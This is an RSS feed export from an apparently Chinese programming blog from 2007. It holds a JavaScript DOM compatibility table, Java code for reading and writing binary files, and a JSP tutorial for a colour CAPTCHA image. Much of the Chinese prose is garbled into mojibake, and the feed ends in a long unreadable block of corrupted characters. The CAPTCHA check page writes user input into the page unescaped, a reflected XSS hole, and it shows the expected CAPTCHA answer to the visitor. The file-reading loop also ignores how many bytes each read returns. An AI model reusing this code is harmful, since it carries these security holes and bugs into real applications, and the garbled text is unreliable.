<p><span>tr1.setAttribute(“a”,”a1”)</span></p> <p><span>tr1.setAttribute(“b”,”b1”);</span></p> <p> </p> </td> <td vAlign=top width=168> <p><span>Tr1.a</span></p> <p><span>Tr1.b</span></p> </td> </tr> <tr> <td vAlign=top width=31> <p><span>26</span></p> </td> <td vAlign=top width=156> <p><span>l下来框新增一?/span><span>option</span></p> </td> <td vAlign=top width=276> <p><span>Var newOpt =new Option(text,value,false,false); Select.options[Select.options.length] = newopt;</span></p> </td> <td vAlign=top width=168> <p><span>var oOption = document.createElement("OPTION"); oOption.text="" ; oOption.value=""; Select.add(oOption);</span></p> </td> </tr> <tr> <td vAlign=top width=31> <p><span>27</span></p> </td> <td vAlign=top width=156> <p><span>删除下拉框的某个</span><span>option</span></p> </td> <td vAlign=top width=276> <p><span> Select.options[i] = null;</span></p> </td> <td vAlign=top width=168> <p><span>Select.options[i] = null;</span></p> <p><span>Select.options.remove(i);</span></p> </td> </tr> </tbody> </table>  <br>转自 http://tb.blog.csdn.net/TrackBack.aspx?PostId=250206<br></div> </div> <img src ="http://m.tkk7.com/yuze/aggbug/125079.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://m.tkk7.com/yuze/" target="_blank">yuyu</a> 2007-06-19 11:41 <a href="http://m.tkk7.com/yuze/archive/2007/06/19/125079.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>二进制文件读?/title><link>http://m.tkk7.com/yuze/archive/2007/06/12/123671.html</link><dc:creator>yuyu</dc:creator><author>yuyu</author><pubDate>Tue, 12 Jun 2007 09:26:00 GMT</pubDate><guid>http://m.tkk7.com/yuze/archive/2007/06/12/123671.html</guid><wfw:comment>http://m.tkk7.com/yuze/comments/123671.html</wfw:comment><comments>http://m.tkk7.com/yuze/archive/2007/06/12/123671.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://m.tkk7.com/yuze/comments/commentRss/123671.html</wfw:commentRss><trackback:ping>http://m.tkk7.com/yuze/services/trackbacks/123671.html</trackback:ping><description><![CDATA[<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://m.tkk7.com/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #0000ff">package</span><span style="COLOR: #000000"> tmp;<br><img src="http://m.tkk7.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://m.tkk7.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">import</span><span style="COLOR: #000000"> java.io.BufferedInputStream;<br><img src="http://m.tkk7.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">import</span><span style="COLOR: #000000"> java.io.BufferedOutputStream;<br><img src="http://m.tkk7.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">import</span><span style="COLOR: #000000"> java.io.File;<br><img src="http://m.tkk7.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">import</span><span style="COLOR: #000000"> java.io.FileInputStream;<br><img src="http://m.tkk7.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">import</span><span style="COLOR: #000000"> java.io.FileOutputStream;<br><img src="http://m.tkk7.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">import</span><span style="COLOR: #000000"> java.io.IOException;<br><img src="http://m.tkk7.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://m.tkk7.com/Images/OutliningIndicators/None.gif" align=top><br><img id=Codehighlighter1_225_1386_Open_Image onclick="this.style.display='none'; Codehighlighter1_225_1386_Open_Text.style.display='none'; Codehighlighter1_225_1386_Closed_Image.style.display='inline'; Codehighlighter1_225_1386_Closed_Text.style.display='inline';" src="http://m.tkk7.com/Images/OutliningIndicators/ExpandedBlockStart.gif" align=top><img id=Codehighlighter1_225_1386_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_225_1386_Closed_Text.style.display='none'; Codehighlighter1_225_1386_Open_Image.style.display='inline'; Codehighlighter1_225_1386_Open_Text.style.display='inline';" src="http://m.tkk7.com/Images/OutliningIndicators/ContractedBlock.gif" align=top></span><span style="COLOR: #0000ff">public</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">class</span><span style="COLOR: #000000"> DiskTest </span><span id=Codehighlighter1_225_1386_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://m.tkk7.com/Images/dot.gif"></span><span id=Codehighlighter1_225_1386_Open_Text><span style="COLOR: #000000">{<br><img id=Codehighlighter1_284_477_Open_Image onclick="this.style.display='none'; Codehighlighter1_284_477_Open_Text.style.display='none'; Codehighlighter1_284_477_Closed_Image.style.display='inline'; Codehighlighter1_284_477_Closed_Text.style.display='inline';" src="http://m.tkk7.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif" align=top><img id=Codehighlighter1_284_477_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_284_477_Closed_Text.style.display='none'; Codehighlighter1_284_477_Open_Image.style.display='inline'; Codehighlighter1_284_477_Open_Text.style.display='inline';" src="http://m.tkk7.com/Images/OutliningIndicators/ContractedSubBlock.gif" align=top>    </span><span style="COLOR: #0000ff">public</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">static</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000"> main(String[] args) </span><span style="COLOR: #0000ff">throws</span><span style="COLOR: #000000"> Exception </span><span id=Codehighlighter1_284_477_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://m.tkk7.com/Images/dot.gif"></span><span id=Codehighlighter1_284_477_Open_Text><span style="COLOR: #000000">{<br><img src="http://m.tkk7.com/Images/OutliningIndicators/InBlock.gif" align=top>        </span><span style="COLOR: #008000">//</span><span style="COLOR: #008000"> TODO Auto-generated method stub</span><span style="COLOR: #008000"><br><img src="http://m.tkk7.com/Images/OutliningIndicators/InBlock.gif" align=top></span><span style="COLOR: #000000">        File file </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">new</span><span style="COLOR: #000000"> File(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">D:\\picture.rar</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://m.tkk7.com/Images/OutliningIndicators/InBlock.gif" align=top>        </span><span style="COLOR: #0000ff">byte</span><span style="COLOR: #000000">[] content</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">readFile(file);<br><img src="http://m.tkk7.com/Images/OutliningIndicators/InBlock.gif" align=top>        System.out.println(content);<br><img src="http://m.tkk7.com/Images/OutliningIndicators/InBlock.gif" align=top>        writeBytes(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">D:\\picture1.rar</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,content);<br><img src="http://m.tkk7.com/Images/OutliningIndicators/ExpandedSubBlockEnd.gif" align=top>    }</span></span><span style="COLOR: #000000"><br><img src="http://m.tkk7.com/Images/OutliningIndicators/InBlock.gif" align=top><br><img id=Codehighlighter1_481_546_Open_Image onclick="this.style.display='none'; Codehighlighter1_481_546_Open_Text.style.display='none'; Codehighlighter1_481_546_Closed_Image.style.display='inline'; Codehighlighter1_481_546_Closed_Text.style.display='inline';" src="http://m.tkk7.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif" align=top><img id=Codehighlighter1_481_546_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_481_546_Closed_Text.style.display='none'; Codehighlighter1_481_546_Open_Image.style.display='inline'; Codehighlighter1_481_546_Open_Text.style.display='inline';" src="http://m.tkk7.com/Images/OutliningIndicators/ContractedSubBlock.gif" align=top>    </span><span id=Codehighlighter1_481_546_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">/** */</span><span id=Codehighlighter1_481_546_Open_Text><span style="COLOR: #008000">/**</span><span style="COLOR: #008000">L件到字节数组<br><img src="http://m.tkk7.com/Images/OutliningIndicators/InBlock.gif" align=top>     * </span><span style="COLOR: #808080">@param</span><span style="COLOR: #008000"> file<br><img src="http://m.tkk7.com/Images/OutliningIndicators/InBlock.gif" align=top>     * </span><span style="COLOR: #808080">@return</span><span style="COLOR: #008000"><br><img src="http://m.tkk7.com/Images/OutliningIndicators/InBlock.gif" align=top>     * </span><span style="COLOR: #808080">@throws</span><span style="COLOR: #008000"> Exception<br><img src="http://m.tkk7.com/Images/OutliningIndicators/ExpandedSubBlockEnd.gif" align=top>     </span><span style="COLOR: #008000">*/</span></span><span style="COLOR: #000000"><br><img id=Codehighlighter1_602_975_Open_Image onclick="this.style.display='none'; Codehighlighter1_602_975_Open_Text.style.display='none'; Codehighlighter1_602_975_Closed_Image.style.display='inline'; Codehighlighter1_602_975_Closed_Text.style.display='inline';" src="http://m.tkk7.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif" align=top><img id=Codehighlighter1_602_975_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_602_975_Closed_Text.style.display='none'; Codehighlighter1_602_975_Open_Image.style.display='inline'; Codehighlighter1_602_975_Open_Text.style.display='inline';" src="http://m.tkk7.com/Images/OutliningIndicators/ContractedSubBlock.gif" align=top>    </span><span style="COLOR: #0000ff">static</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">byte</span><span style="COLOR: #000000">[] readFile(File file) </span><span style="COLOR: #0000ff">throws</span><span style="COLOR: #000000">   Exception </span><span id=Codehighlighter1_602_975_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://m.tkk7.com/Images/dot.gif"></span><span id=Codehighlighter1_602_975_Open_Text><span style="COLOR: #000000">{<br><img id=Codehighlighter1_642_930_Open_Image onclick="this.style.display='none'; Codehighlighter1_642_930_Open_Text.style.display='none'; Codehighlighter1_642_930_Closed_Image.style.display='inline'; Codehighlighter1_642_930_Closed_Text.style.display='inline';" src="http://m.tkk7.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif" align=top><img id=Codehighlighter1_642_930_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_642_930_Closed_Text.style.display='none'; Codehighlighter1_642_930_Open_Image.style.display='inline'; Codehighlighter1_642_930_Open_Text.style.display='inline';" src="http://m.tkk7.com/Images/OutliningIndicators/ContractedSubBlock.gif" align=top>        </span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000"> (file.exists() </span><span style="COLOR: #000000">&&</span><span style="COLOR: #000000"> file.isFile()) </span><span id=Codehighlighter1_642_930_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://m.tkk7.com/Images/dot.gif"></span><span id=Codehighlighter1_642_930_Open_Text><span style="COLOR: #000000">{<br><img src="http://m.tkk7.com/Images/OutliningIndicators/InBlock.gif" align=top>            </span><span style="COLOR: #0000ff">long</span><span style="COLOR: #000000"> fileLength </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> file.length();<br><img id=Codehighlighter1_704_926_Open_Image onclick="this.style.display='none'; Codehighlighter1_704_926_Open_Text.style.display='none'; Codehighlighter1_704_926_Closed_Image.style.display='inline'; Codehighlighter1_704_926_Closed_Text.style.display='inline';" src="http://m.tkk7.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif" align=top><img id=Codehighlighter1_704_926_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_704_926_Closed_Text.style.display='none'; Codehighlighter1_704_926_Open_Image.style.display='inline'; Codehighlighter1_704_926_Open_Text.style.display='inline';" src="http://m.tkk7.com/Images/OutliningIndicators/ContractedSubBlock.gif" align=top>            </span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000"> (fileLength </span><span style="COLOR: #000000">></span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">0L</span><span style="COLOR: #000000">) </span><span id=Codehighlighter1_704_926_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://m.tkk7.com/Images/dot.gif"></span><span id=Codehighlighter1_704_926_Open_Text><span style="COLOR: #000000">{<br><img src="http://m.tkk7.com/Images/OutliningIndicators/InBlock.gif" align=top>                BufferedInputStream fis </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">new</span><span style="COLOR: #000000"> BufferedInputStream(<br><img src="http://m.tkk7.com/Images/OutliningIndicators/InBlock.gif" align=top>                        </span><span style="COLOR: #0000ff">new</span><span style="COLOR: #000000"> FileInputStream(file));<br><img src="http://m.tkk7.com/Images/OutliningIndicators/InBlock.gif" align=top>                </span><span style="COLOR: #0000ff">byte</span><span style="COLOR: #000000">[] b </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">new</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">byte</span><span style="COLOR: #000000">[(</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">) fileLength];<br><img id=Codehighlighter1_867_873_Open_Image onclick="this.style.display='none'; Codehighlighter1_867_873_Open_Text.style.display='none'; Codehighlighter1_867_873_Closed_Image.style.display='inline'; Codehighlighter1_867_873_Closed_Text.style.display='inline';" src="http://m.tkk7.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif" align=top><img id=Codehighlighter1_867_873_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_867_873_Closed_Text.style.display='none'; Codehighlighter1_867_873_Open_Image.style.display='inline'; Codehighlighter1_867_873_Open_Text.style.display='inline';" src="http://m.tkk7.com/Images/OutliningIndicators/ContractedSubBlock.gif" align=top>                </span><span style="COLOR: #0000ff">while</span><span style="COLOR: #000000"> (fis.read(b)</span><span style="COLOR: #000000">!=</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">) </span><span id=Codehighlighter1_867_873_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://m.tkk7.com/Images/dot.gif"></span><span id=Codehighlighter1_867_873_Open_Text><span style="COLOR: #000000">{<br><img src="http://m.tkk7.com/Images/OutliningIndicators/ExpandedSubBlockEnd.gif" align=top>                }</span></span><span style="COLOR: #000000"><br><img src="http://m.tkk7.com/Images/OutliningIndicators/InBlock.gif" align=top>                fis.close();<br><img src="http://m.tkk7.com/Images/OutliningIndicators/InBlock.gif" align=top>                fis </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">null</span><span style="COLOR: #000000">;<br><img src="http://m.tkk7.com/Images/OutliningIndicators/InBlock.gif" align=top><br><img src="http://m.tkk7.com/Images/OutliningIndicators/InBlock.gif" align=top>                </span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000"> b;<br><img src="http://m.tkk7.com/Images/OutliningIndicators/ExpandedSubBlockEnd.gif" align=top>            }</span></span><span style="COLOR: #000000"><br><img id=Codehighlighter1_937_957_Open_Image onclick="this.style.display='none'; Codehighlighter1_937_957_Open_Text.style.display='none'; Codehighlighter1_937_957_Closed_Image.style.display='inline'; Codehighlighter1_937_957_Closed_Text.style.display='inline';" src="http://m.tkk7.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif" align=top><img id=Codehighlighter1_937_957_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_937_957_Closed_Text.style.display='none'; Codehighlighter1_937_957_Open_Image.style.display='inline'; Codehighlighter1_937_957_Open_Text.style.display='inline';" src="http://m.tkk7.com/Images/OutliningIndicators/ContractedSubBlock.gif" align=top>        }</span></span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">else</span><span style="COLOR: #000000"> </span><span id=Codehighlighter1_937_957_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://m.tkk7.com/Images/dot.gif"></span><span id=Codehighlighter1_937_957_Open_Text><span style="COLOR: #000000">{<br><img src="http://m.tkk7.com/Images/OutliningIndicators/InBlock.gif" align=top>            </span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">null</span><span style="COLOR: #000000">;<br><img src="http://m.tkk7.com/Images/OutliningIndicators/ExpandedSubBlockEnd.gif" align=top>        }</span></span><span style="COLOR: #000000"><br><img src="http://m.tkk7.com/Images/OutliningIndicators/InBlock.gif" align=top>        </span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">null</span><span style="COLOR: #000000">;<br><img src="http://m.tkk7.com/Images/OutliningIndicators/ExpandedSubBlockEnd.gif" align=top>    }</span></span><span style="COLOR: #000000"><br><img src="http://m.tkk7.com/Images/OutliningIndicators/InBlock.gif" align=top><br><img id=Codehighlighter1_979_1070_Open_Image onclick="this.style.display='none'; Codehighlighter1_979_1070_Open_Text.style.display='none'; Codehighlighter1_979_1070_Closed_Image.style.display='inline'; Codehighlighter1_979_1070_Closed_Text.style.display='inline';" src="http://m.tkk7.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif" align=top><img id=Codehighlighter1_979_1070_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_979_1070_Closed_Text.style.display='none'; Codehighlighter1_979_1070_Open_Image.style.display='inline'; Codehighlighter1_979_1070_Open_Text.style.display='inline';" src="http://m.tkk7.com/Images/OutliningIndicators/ContractedSubBlock.gif" align=top>    </span><span id=Codehighlighter1_979_1070_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">/** */</span><span id=Codehighlighter1_979_1070_Open_Text><span style="COLOR: #008000">/**</span><span style="COLOR: #008000">字节数l写入文?br><img src="http://m.tkk7.com/Images/OutliningIndicators/InBlock.gif" align=top>     * </span><span style="COLOR: #808080">@param</span><span style="COLOR: #008000"> filePath<br><img src="http://m.tkk7.com/Images/OutliningIndicators/InBlock.gif" align=top>     * </span><span style="COLOR: #808080">@param</span><span style="COLOR: #008000"> content<br><img src="http://m.tkk7.com/Images/OutliningIndicators/InBlock.gif" align=top>     * </span><span style="COLOR: #808080">@return</span><span style="COLOR: #008000"><br><img src="http://m.tkk7.com/Images/OutliningIndicators/InBlock.gif" align=top>     * </span><span style="COLOR: #808080">@throws</span><span style="COLOR: #008000"> IOException<br><img src="http://m.tkk7.com/Images/OutliningIndicators/ExpandedSubBlockEnd.gif" align=top>     </span><span style="COLOR: #008000">*/</span></span><span style="COLOR: #000000"><br><img src="http://m.tkk7.com/Images/OutliningIndicators/InBlock.gif" align=top>    </span><span style="COLOR: #0000ff">static</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">boolean</span><span style="COLOR: #000000"> writeBytes(String filePath, </span><span style="COLOR: #0000ff">byte</span><span style="COLOR: #000000">[] content)<br><img id=Codehighlighter1_1154_1384_Open_Image onclick="this.style.display='none'; Codehighlighter1_1154_1384_Open_Text.style.display='none'; Codehighlighter1_1154_1384_Closed_Image.style.display='inline'; Codehighlighter1_1154_1384_Closed_Text.style.display='inline';" src="http://m.tkk7.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif" align=top><img id=Codehighlighter1_1154_1384_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_1154_1384_Closed_Text.style.display='none'; Codehighlighter1_1154_1384_Open_Image.style.display='inline'; Codehighlighter1_1154_1384_Open_Text.style.display='inline';" src="http://m.tkk7.com/Images/OutliningIndicators/ContractedSubBlock.gif" align=top>            </span><span style="COLOR: #0000ff">throws</span><span style="COLOR: #000000"> IOException </span><span id=Codehighlighter1_1154_1384_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://m.tkk7.com/Images/dot.gif"></span><span id=Codehighlighter1_1154_1384_Open_Text><span style="COLOR: #000000">{<br><img src="http://m.tkk7.com/Images/OutliningIndicators/InBlock.gif" align=top>        File file </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">new</span><span style="COLOR: #000000"> File(filePath);<br><img id=Codehighlighter1_1212_1365_Open_Image onclick="this.style.display='none'; Codehighlighter1_1212_1365_Open_Text.style.display='none'; Codehighlighter1_1212_1365_Closed_Image.style.display='inline'; Codehighlighter1_1212_1365_Closed_Text.style.display='inline';" src="http://m.tkk7.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif" align=top><img id=Codehighlighter1_1212_1365_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_1212_1365_Closed_Text.style.display='none'; Codehighlighter1_1212_1365_Open_Image.style.display='inline'; Codehighlighter1_1212_1365_Open_Text.style.display='inline';" src="http://m.tkk7.com/Images/OutliningIndicators/ContractedSubBlock.gif" align=top>        </span><span style="COLOR: #0000ff">synchronized</span><span style="COLOR: #000000"> (file) </span><span id=Codehighlighter1_1212_1365_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://m.tkk7.com/Images/dot.gif"></span><span id=Codehighlighter1_1212_1365_Open_Text><span style="COLOR: #000000">{<br><img src="http://m.tkk7.com/Images/OutliningIndicators/InBlock.gif" align=top>            BufferedOutputStream fos </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">new</span><span style="COLOR: #000000"> BufferedOutputStream(<br><img src="http://m.tkk7.com/Images/OutliningIndicators/InBlock.gif" align=top>                    </span><span style="COLOR: #0000ff">new</span><span style="COLOR: #000000"> FileOutputStream(filePath));<br><img src="http://m.tkk7.com/Images/OutliningIndicators/InBlock.gif" align=top>            fos.write(content);<br><img src="http://m.tkk7.com/Images/OutliningIndicators/InBlock.gif" align=top>            fos.flush();<br><img src="http://m.tkk7.com/Images/OutliningIndicators/InBlock.gif" align=top>            fos.close();<br><img src="http://m.tkk7.com/Images/OutliningIndicators/ExpandedSubBlockEnd.gif" align=top>        }</span></span><span style="COLOR: #000000"><br><img src="http://m.tkk7.com/Images/OutliningIndicators/InBlock.gif" align=top>        </span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">true</span><span style="COLOR: #000000">;<br><img src="http://m.tkk7.com/Images/OutliningIndicators/InBlock.gif" align=top><br><img src="http://m.tkk7.com/Images/OutliningIndicators/ExpandedSubBlockEnd.gif" align=top>    }</span></span><span style="COLOR: #000000"><br><img src="http://m.tkk7.com/Images/OutliningIndicators/ExpandedBlockEnd.gif" align=top>}</span></span><span style="COLOR: #000000"><br><img src="http://m.tkk7.com/Images/OutliningIndicators/None.gif" align=top></span></div> 有h在群中问如何d写入一般文Ӟ在这里写了一个供以后参? <img src ="http://m.tkk7.com/yuze/aggbug/123671.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://m.tkk7.com/yuze/" target="_blank">yuyu</a> 2007-06-12 17:26 <a href="http://m.tkk7.com/yuze/archive/2007/06/12/123671.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title><?gt;JSP彩色验证?http://m.tkk7.com/yuze/archive/2007/05/15/117631.htmlyuyuyuyuTue, 15 May 2007 07:54:00 GMThttp://m.tkk7.com/yuze/archive/2007/05/15/117631.html

产生验证码图片的文g-----image.jsp

<%@ page contentType="image/jpeg" import="java.awt.*,java.awt.image.*,java.util.*,javax.imageio.*" %>
<%!
Color getRandColor(int fc,int bc){//l定范围获得随机颜色
        Random random = new Random();
        if(fc>255) fc=255;
        if(bc>255) bc=255;
        int r=fc+random.nextInt(bc-fc);
        int g=fc+random.nextInt(bc-fc);
        int b=fc+random.nextInt(bc-fc);
        return new Color(r,g,b);
        }
%>
<%
//讄面不缓?br>response.setHeader("Pragma","No-cache");
response.setHeader("Cache-Control","no-cache");
response.setDateHeader("Expires", 0);

// 在内存中创徏图象
int width=60, height=20;
BufferedImage image = new BufferedImage(width, height, BufferedImage.TYPE_INT_RGB);

// 获取囑Ş上下?br>Graphics g = image.getGraphics();

//生成随机c?br>Random random = new Random();

// 讑֮背景?br>g.setColor(getRandColor(200,250));
g.fillRect(0, 0, width, height);

//讑֮字体
g.setFont(new Font("Times New Roman",Font.PLAIN,18));

//画边?br>//g.setColor(new Color());
//g.drawRect(0,0,width-1,height-1);


// 随机产生155条干扰线Q图象中的认证码不易被其它E序探测?br>g.setColor(getRandColor(160,200));
for (int i=0;i<155;i++)
{
 int x = random.nextInt(width);
 int y = random.nextInt(height);
        int xl = random.nextInt(12);
        int yl = random.nextInt(12);
 g.drawLine(x,y,x+xl,y+yl);
}

// 取随Z生的认证?4位数?
String sRand="";
for (int i=0;i<4;i++){
    String rand=String.valueOf(random.nextInt(10));
    sRand+=rand;
    // 认证码昄到图象中
    g.setColor(new Color(20+random.nextInt(110),20+random.nextInt(110),20+random.nextInt(110)));//调用函数出来的颜色相同,可能是因为种子太接近Q所以只能直接生?br>    g.drawString(rand,13*i+6,16);
}

// 认证码存入SESSION
session.setAttribute("rand",sRand);


// 图象生效
g.dispose();

// 输出图象到页?br>ImageIO.write(image, "JPEG", response.getOutputStream());


%>

 

---------------使用验证码图片的文g---------a.jsp------------------------------------

<%@ page contentType="text/html;charset=gb2312" %>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>认证码输入页?lt;/title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<META HTTP-EQUIV="Pragma" CONTENT="no-cache"> 
<META HTTP-EQUIV="Cache-Control" CONTENT="no-cache"> 
<META HTTP-EQUIV="Expires" CONTENT="0"> 
</head>
<body>
<form method=post action="check.jsp">
<table>
<tr>
<td align=left>pȝ产生的认证码Q?lt;/td>
<td><img border=0 src="image.jsp"></td>
</tr>
<tr>
<td align=left>输入上面的认证码Q?lt;/td>
<td><input type=text name=rand maxlength=4 value=""></td>
</tr>
<tr>
<td colspan=2 align=center><input type=submit value="提交?></td>
</tr>
</form>
</body>
</html>



-----------------验证的页?---------check.jsp

<%@ page contentType="text/html; charset=gb2312" language="java" import="java.sql.*" errorPage="" %>
<html>
<head>
<title>认证码验证页?lt;/title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<META HTTP-EQUIV="Pragma" CONTENT="no-cache"> 
<META HTTP-EQUIV="Cache-Control" CONTENT="no-cache"> 
<META HTTP-EQUIV="Expires" CONTENT="0"> 
</head>

<body>
<% 
 String rand = (String)session.getAttribute("rand");
 String input = request.getParameter("rand");
%>
pȝ产生的认证码为: <%= rand %><br>
(zhn)输入的认证码ؓQ?nbsp;<%= input %><br>
<br>
<%
  if (rand.equals(input)) {
%>
<font color=green>输入相同Q认证成功!</font>
<%
  } else {
%>
<font color=red>输入不同Q认证失败!</font>
<%
  }
%>
</body>
</html>

原文Q?a >http://www.cnblogs.com/maxwoods/archive/2007/04/11/709002.html


yuyu 2007-05-15 15:54 发表评论
]]> վ֩ģ壺 С˵ͼƬ| һaƬػ߹ۿѿ һa | ƷվƵ| 99þۺϾƷ| ղ2021| ޹Ʒþþþ| һһëƬȫ| һ| 18Ůˬˬˬҹվ| ھƷ99Ѹ| ĻӰ߾Ʒ| AžƷһ| Ʒþ| ƷպAV| AV볱߹ۿ| Ʒ޶߹ۿ | ɫ͵͵ۺAV| ɫһ| avһۺavһ| ҹ | ۺ뾫Ʒһ | ߵƵѹۿ| þþƷAVδʮ | ߳ٸëˮˮ| Ʒþþþþþþ| ˽ȥŮˬƵ| ɫƵվ| һ| jizzѹۿ| һƵǿŮ| hƵѸ߹ۿ| ձػɫAAAƬ| Ƶѹۿվ| ĻƷѾþ| žѾþоƷ23| eeussӰԺ92242| йƷNѹۿ| Ļպר| ޾Ʒѹۿ| ޻ɫѵӰ| ˳Ƶ|